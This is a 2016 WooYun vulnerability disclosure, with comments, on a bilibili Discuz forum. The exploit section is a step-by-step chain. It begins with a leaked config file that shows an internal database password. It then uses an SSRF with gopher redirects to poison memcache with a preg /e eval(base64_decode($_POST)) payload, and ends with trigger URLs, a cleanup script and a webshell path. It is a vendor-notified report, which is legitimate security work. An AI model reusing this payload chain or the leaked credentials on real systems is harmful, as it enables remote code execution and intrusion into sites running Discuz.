当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0213982

漏洞标题:bilibili某分站从信息泄露到ssrf再到命令执行

相关厂商:bilibili.com

漏洞作者: Jannock

提交时间:2016-05-30 08:38

修复时间:2016-06-27 18:00

公开时间:2016-06-27 18:00

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-30: 细节已通知厂商并且等待厂商处理中
2016-05-30: 厂商已经确认,细节仅向厂商公开
2016-06-09: 细节向核心白帽子及相关领域专家公开
2016-06-19: 细节向普通白帽子公开
2016-06-27: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

bilibili某分站从信息泄露到ssrf再到命令执行,
今天来说说一个关于discuz的神洞,有必要的话稍后再提交给官方。

详细说明:

这个只是memcache的案例,如果是redis更好利用了
0x00 前言
扫描器时常会扫描到一些信息泄露,如discuz的配置文件 /config/config_global.php~
里面时常带有数据库密码等,但又苦于内网,十分尴尬。
0x01 个例分析
以bilibili这个为例
http://bbs.biligame.com/config/config_global.php~

0.png


<?php
$_config = array();
// ---------------------------- CONFIG DB ----------------------------- //
$_config['db']['1']['dbhost'] = '192.168.10.10';
$_config['db']['1']['dbuser'] = 'gamebbs';
$_config['db']['1']['dbpw'] = 'HdUbOY2YCAoKi3U0';
$_config['db']['1']['dbcharset'] = 'utf8';
$_config['db']['1']['pconnect'] = '0'; //此处禁止修改!
$_config['db']['1']['dbname'] = 'gamebbs';
$_config['db']['1']['tablepre'] = 'bbs_';
$_config['db']['slave'] = '';
$_config['db']['common']['slave_except_table'] = '';
// -------------------------- CONFIG MEMORY --------------------------- //
$_config['memory']['prefix'] = 'NTOSSw_';
$_config['memory']['redis']['server'] = '';
$_config['memory']['redis']['port'] = 6379;
$_config['memory']['redis']['pconnect'] = 1;
$_config['memory']['redis']['timeout'] = '0';
$_config['memory']['redis']['requirepass'] = '';
$_config['memory']['redis']['serializer'] = 1;
$_config['memory']['memcache']['server'] = '192.168.10.12';
$_config['memory']['memcache']['port'] = 11211;
$_config['memory']['memcache']['pconnect'] = 1;
$_config['memory']['memcache']['timeout'] = 1;
$_config['memory']['apc'] = 0;
$_config['memory']['xcache'] = 0;
$_config['memory']['eaccelerator'] = 0;
$_config['memory']['wincache'] = 0;


注意到使用了 memcache
如果有留意到 vBulletin rce http://drops.wooyun.org/papers/8261,
相信都被这个漏洞的巧妙之处所吸引。
那么,这discuz是否也存在同样的漏洞呢?
于是查找调用缓存的地方
\source\function\function_core.php

function output_replace($content) {
global $_G;
if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;
if(!empty($_G['setting']['output']['str']['search'])) {
if(empty($_G['setting']['domain']['app']['default'])) {
$_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);
}
$content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);
}
if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {
if(empty($_G['setting']['domain']['app']['default'])) {
$_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);
$_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);
}
$content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);
}
return $content;
}


真发现有一处。
这里的$_G['setting']['output']['preg']['search'] 和 $_G['setting']['output']['preg']['replace']是直接调用缓存中的数据。
并且,discuz的ssrf是存在多处的,并且官方估计也很难去修复。
WooYun: Discuz!另一处SSRF无须登陆无须条件
于是测试,居然发现服务器支持gohper 协议呀。
下面说说利用过程吧。discuz的漏洞详细分析有必要的话稍后再提交给官方。

漏洞证明:

0x02 漏洞利用
测试利用转发代码

<?php
header('Location: gopher://自己服务器:80/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>


测试返回如下图

1.png


2.png


万事俱备了,行动
先准备好两个页面,便于写完shell后还原。
wshell.php

<?php
header('Location: gopher://192.168.10.12:11211/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a');
?>


cls.php

<?php
header('Location: gopher://192.168.10.12:11211/_%0d%0adelete NTOSSw_setting%0d%0a');
?>


请求
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/wshell.php?logo.jpg[/img]
完成后,立即请求shell地址
http://bbs.biligame.com/forum.php?mod=ajax&inajax=yes&action=getthreadtypes
从上面可知,这是一句话,由于要绕过waf,所以base64一下。

4.png


写入文件shell
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/cls.php?logo.jpg[/img]
还原缓存
最后一句话地址为:
http://bbs.biligame.com/data/cache/hello.php

5.png

修复方案:

防止信息泄露,防止ssrf。

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-05-30 09:22

厂商回复:

为什么被怼了我还这么愉♂悦(゚Д゚≡゚д゚)!?~因为是爱豆怼的吗?

最新状态:

2016-05-30:这是0day~这是0day~

2016-06-27:fixed


漏洞评价:

评价

  1. 2016-05-30 08:40 | 带头大哥 ( 普通白帽子 | Rank:879 漏洞数:258 | |任意邮件伪造| |目录遍历| |任意文件读取|...)

    膜拜..

  2. 2016-05-30 08:46 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    静观厂商反怼!

  3. 2016-05-30 08:54 | 路人毛 ( 普通白帽子 | Rank:157 漏洞数:64 | 要想Rank给高,标题一定得屌)

    静观厂商反怼!

  4. 2016-05-30 09:00 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:5372 漏洞数:415 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    静观厂商反怼!

  5. 2016-05-30 09:07 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1413 漏洞数:148 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    静观厂商反怼!

  6. 2016-05-30 09:13 | SH0X8001 ( 路人 | Rank:25 漏洞数:6 | 你猜)

    静观厂商反怼!

  7. 2016-05-30 09:13 | Me_Fortune ( 普通白帽子 | Rank:361 漏洞数:115 | The quiter you are,the more you're able ...)

    静观厂商反怼!

  8. 2016-05-30 09:14 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命!)

    静观厂商反怼!

  9. 2016-05-30 09:14 | x7iao ( 普通白帽子 | Rank:395 漏洞数:56 | 文能床上控萝莉,武能床上定人妻)

    静观厂商反怼!

  10. 2016-05-30 09:15 | Raven ( 路人 | Rank:8 漏洞数:4 | See You Again)

    静观厂商反怼!

  11. 2016-05-30 09:17 | greg.wu ( 普通白帽子 | Rank:1044 漏洞数:121 | 打酱油的~)

    一哥威武

  12. 2016-05-30 09:21 | hecate ( 普通白帽子 | Rank:849 漏洞数:131 | ®高级安全工程师 | WooYun认证√)

    静观厂商反怼!

  13. 2016-05-30 09:22 | zzR 认证白帽子 ( 核心白帽子 | Rank:1408 漏洞数:127 | 东方红**联盟欢迎你-0-)

    make yige

  14. 2016-05-30 09:24 | Ricter ( 普通白帽子 | Rank:106 漏洞数:20 | 渣渣一个)

    这个洞屌啊。。

  15. 2016-05-30 09:34 | Sai、 ( 路人 | Rank:14 漏洞数:4 | for fun……)

    静观厂商反怼!

  16. 2016-05-30 09:35 | 红客十年 ( 普通白帽子 | Rank:392 漏洞数:80 | 去年离职富士康,回到家中上蓝翔,蓝翔毕业...)

    静观厂商反怼!

  17. 2016-05-30 09:45 | Mel0d6y ( 实习白帽子 | Rank:77 漏洞数:16 | 迷失在未来的旅行者. 「H...)

    静观厂商反怼!

  18. 2016-05-30 09:46 | qhwlpg ( 普通白帽子 | Rank:260 漏洞数:64 | http://sec.tuniu.com)

    静观厂商反怼!

  19. 2016-05-30 10:05 | Explo1t ( 路人 | Rank:16 漏洞数:8 | 流生若川,不要小看人生啊!)

    静观厂商反怼!

  20. 2016-05-30 10:09 | WenR0 ( 路人 | Rank:8 漏洞数:2 | ...)

    静观厂商反怼!

  21. 2016-05-30 12:46 | xtnnd ( 普通白帽子 | Rank:184 漏洞数:45 | t-safe)

    hack by bilibili

  22. 2016-05-30 13:09 | Agony ( 路人 | Rank:24 漏洞数:12 | you know a cat has nine lives.)

    静观厂商反怼!

  23. 2016-05-30 15:05 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    静观厂商反怼!

  24. 2016-05-30 16:19 | Rainism ( 路人 | Rank:15 漏洞数:4 | hacking for fun)

    静观厂商反怼!

  25. 2016-05-30 22:57 | 0h1in9e ( 实习白帽子 | Rank:68 漏洞数:23 | 林歌 | 峨眉山下修炼中的<网络安全></web开...)

    静观厂商反怼!

  26. 2016-05-30 23:50 | Fire ant ( 普通白帽子 | Rank:108 漏洞数:35 | 他们回来了................)

    静观厂商反怼!

  27. 2016-05-31 09:04 | Any3ite ( 路人 | Rank:26 漏洞数:12 | 土耳其web 国内的我就看看不说话)

    静观厂商反怼!

  28. 2016-05-31 10:59 | Code Life ( 普通白帽子 | Rank:202 漏洞数:45 | Code Life,Join It!)

    静观厂商反怼!

  29. 2016-06-01 11:40 | P0ker_L ( 路人 | Rank:8 漏洞数:2 | 趣果有间,孤独无解)

    静观厂商反怼!

  30. 2016-06-01 12:27 | 暗羽 ( 路人 | Rank:23 漏洞数:7 | 喵呜,给人类的智商跪了)

    静观厂商反怼!

  31. 2016-06-01 14:10 | 死寂幽兰 ( 路人 | Rank:1 漏洞数:1 | 找洞,找洞,还是找洞)

    静观厂商反怼!

  32. 2016-06-06 18:25 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

    静观厂商反怼!

  33. 2016-06-24 18:25 | 王松_Striker ( 实习白帽子 | Rank:33 漏洞数:5 | 专注于代码审计,但毛都不会。安全盒子(w...)

    静观厂商反怼!

  34. 2016-06-24 19:46 | scanf ( 核心白帽子 | Rank:1698 漏洞数:240 | 。)

    这个利用真是细心